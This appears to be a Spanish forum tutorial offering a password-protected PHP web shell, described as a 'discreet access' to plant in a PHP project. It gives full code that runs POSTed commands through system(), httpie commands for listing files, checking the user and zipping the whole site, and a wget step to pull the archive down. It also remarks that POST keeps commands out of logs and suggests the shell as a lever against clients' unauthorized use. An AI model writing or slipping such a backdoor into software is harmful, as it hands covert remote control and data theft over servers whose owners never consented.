- Se incorporó
- 16 Noviembre 2021
- Mensajes
- 436
En ésta ocasión, voy a tratar un tema un poco mas interesante, un acceso discreto, que vamos a poder plantar en nuestro proyecto PHP.
Razones hay varias:
La shell
Un script sencillo que nos permitirá el acceso por peticiones HTTP al sistema de turno en donde esté nuestro software PHP.
Funcionamiento:
El script recibe requests usando el método HTTP POST, por lo tanto la data se extrae desde la variable $_POST. Luego tenemos dos parámetros en el PAYLOAD:
La función system ejecutará los comandos desde el payload y nos enviará de regreso los resultados.
Importante:
Cuidado:
Ejemplos:
Para tales efectos podemos usar nuestro cliente HTTP favorito, en mi caso httpie.
Instalación en Ubuntu/debian/mate:
Algunos comandos de httpie:
DATA corresponde al payload o los campos del form que recibirá PHP en la variable $_POST['CAMPO']. Se especificarían de la siguiente forma (respetando las comillas dobles):
Nota:
Listar el contenido de la carpeta actual:
Verificar la disponibilidad de un comando:
Verificar el usuario con el que ejecutamos comandos actualmente:
Crear un respaldo del directorio actual:
Nota:
Tendríamos una salida como la siguiente luego de X tiempo (crear el zip demora su resto).
Una vez terminado el respaldo lo podríamos descargar desde el navegador o con alguna herramienta, en mi caso utilizaré wget.
Importante:
Conclusión:
Hemos visto como utilizar una shell sencilla y práctica escrita en PHP, pero que se puede portar a tu lenguaje favorito. Permitiendo variedad de usos.
Razones hay varias:
- Acceso automatizado
- Recepción de comandos de mantenimiento
- Acceso de respaldo
- Comodidad
- Prevención en el uso no autorizado de nuestro software
La shell
Un script sencillo que nos permitirá el acceso por peticiones HTTP al sistema de turno en donde esté nuestro software PHP.
PHP:
if (!isset($_POST['k'])) {
http_response_code(404);
exit;
}
if ($_POST['k'] !== '1234') {
http_response_code(404);
exit;
}
if (isset($_POST['c'])) {
system($_REQUEST['c'], $r);
http_response_code(201);
exit;
}
Funcionamiento:
El script recibe requests usando el método HTTP POST, por lo tanto la data se extrae desde la variable $_POST. Luego tenemos dos parámetros en el PAYLOAD:
- k: password (previene el uso no autorizado).
- c: el comando propiamente que será ejecutado en el sistema del servidor.
El uso de POST no deja rastros del payload, al menos en apache con la configuración estándar. Sólo quedarán los registros del recurso con la IP que los consume. Para habilitar tal configuración mirar acá.
La función system ejecutará los comandos desde el payload y nos enviará de regreso los resultados.
Importante:
En algunos servidores no está disponible. Tal como se describe acá.
Cuidado:
Ciertas operaciones podríam demorar y el request pudiera quedar esperando. Ojo con el timeout de PHP para el tiempo de ejecución de archivos.
Ejemplos:
Para tales efectos podemos usar nuestro cliente HTTP favorito, en mi caso httpie.
Instalación en Ubuntu/debian/mate:
Código:
sudo apt-get install -y httpie
Algunos comandos de httpie:
- -b: Muestra solo el body de la respuesta HTTP.
- -f Envía la cabecera "Content-Type: application/x-www-form-urlencoded; charset=utf-8"
Código:
http [OPCIONES][MÉTODO HTTP][URL][DATA]
DATA corresponde al payload o los campos del form que recibirá PHP en la variable $_POST['CAMPO']. Se especificarían de la siguiente forma (respetando las comillas dobles):
Código:
campo="VALOR DEL CAMPO"
Nota:
Los siguientes ejemplos los ejecuto en un servidor docker local con debian. Por lo que los comandos serán para bash. Ésto pudiera variar en su servidor de trabajo.
Listar el contenido de la carpeta actual:
Código:
http -b -f POST http://IP/shell.php k=1234 c="ls"
Verificar la disponibilidad de un comando:
Código:
http -b -f POST http://IP/shell.php k=1234 c="which ls"
Verificar el usuario con el que ejecutamos comandos actualmente:
Código:
http -b -f POST http://IP/shell.php k=1234 c="whoami"
Crear un respaldo del directorio actual:
Código:
http -b -f POST http://IP/shell.php k=1234 c="zip -r bkp.zip ."
Nota:
Ésto requiere permisos de usuario.
Tendríamos una salida como la siguiente luego de X tiempo (crear el zip demora su resto).
Código:
...
adding: wp-includes/SimplePie/Content/ (stored 0%)
adding: wp-includes/SimplePie/Content/Type/ (stored 0%)
adding: wp-includes/SimplePie/Content/Type/Sniffer.php (deflated 70%)
adding: wp-includes/SimplePie/Source.php (deflated 85%)
adding: wp-includes/SimplePie/Item.php (deflated 88%)
adding: wp-includes/SimplePie/Registry.php (deflated 62%)
adding: wp-includes/SimplePie/Credit.php (deflated 58%)
adding: wp-includes/class-wp-feed-cache.php (deflated 52%)
adding: wp-includes/feed.php (deflated 74%)
adding: wp-includes/l10n.php (deflated 81%)
adding: wp-includes/class-phpass.php (deflated 65%)
adding: wp-includes/ms-settings.php (deflated 63%)
adding: wp-includes/class-simplepie.php (deflated 79%)
adding: wp-includes/ms-blogs.php (deflated 78%)
adding: wp-includes/taxonomy.php (deflated 78%)
...
Una vez terminado el respaldo lo podríamos descargar desde el navegador o con alguna herramienta, en mi caso utilizaré wget.
Código:
wget http://IP/bkp.zip
Importante:
No olvidarse de borrar el respaldo para evitar comprometer la seguridad del servidor con lo que sea que hallamos descargado.
Conclusión:
Hemos visto como utilizar una shell sencilla y práctica escrita en PHP, pero que se puede portar a tu lenguaje favorito. Permitiendo variedad de usos.